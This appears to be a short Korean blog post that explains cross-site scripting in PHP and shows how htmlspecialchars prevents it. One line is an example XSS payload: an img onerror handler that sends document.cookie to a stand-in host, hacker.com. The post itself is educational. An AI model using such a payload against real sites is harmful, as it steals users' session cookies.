복붙노트

PHP XSS 방지

PHP

PHP XSS 방지

XSS란?

XSS 라는 건 cross site scripting 의 약자로 우리말로는 사이트 간 스크립팅 이라고 합니다만 아무도 그렇게는 부르지 않고 그냥 XSS 라고 부릅니다(...)

유저가 입력 폼에 악의적으로 html 태그를 입력폼에 입력하면 그러한 입력이 그대로 서버측에 전달되는 것을 말합니다.

XSS 예시

유저가 입력 폼에 이렇게 입력합니다.

<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />  

서버 프로그램은 이렇게 생겼죠.

echo $content;  

결과적으로 이 PHP 프로그램은 이런 결과를 출력합니다.

<img src="#" width="0" height="0" onerror="this.src='http://hacker.com/gatherCookie.php?cookie='+encodeURIComponent(document.cookie);" />  

참고로 onerror에 있는 자바스크립트는 특정 url(예제에서는 http://hacker.com) 에 현재 유저의 쿠키를 전달하는 코드입니다.

소스 참조 : https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85

XSS 방지하기

htmlspecialchars 함수를 씁니다.

// 사용하기  
$user_input = $_POST['user_input'];  
htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');  

간단합니다.
htmlspecialchars 함수는 태그의 입력에 사용되는 < 글자 등을 html 치환자 < < 등으로 바꿔줍니다.

'PHP' 카테고리의 다른 글

PHP Fatal Error 잡아내기  (0) 2017.11.22
PHP 숏태그 사용하기  (0) 2017.11.21
PHP 다차원 배열 1차원으로 변환하기  (0) 2017.11.20
PHP 접속자 IP 알아내기  (0) 2017.11.20
PHP 값을 자바스크립트에 쓰기  (0) 2017.11.19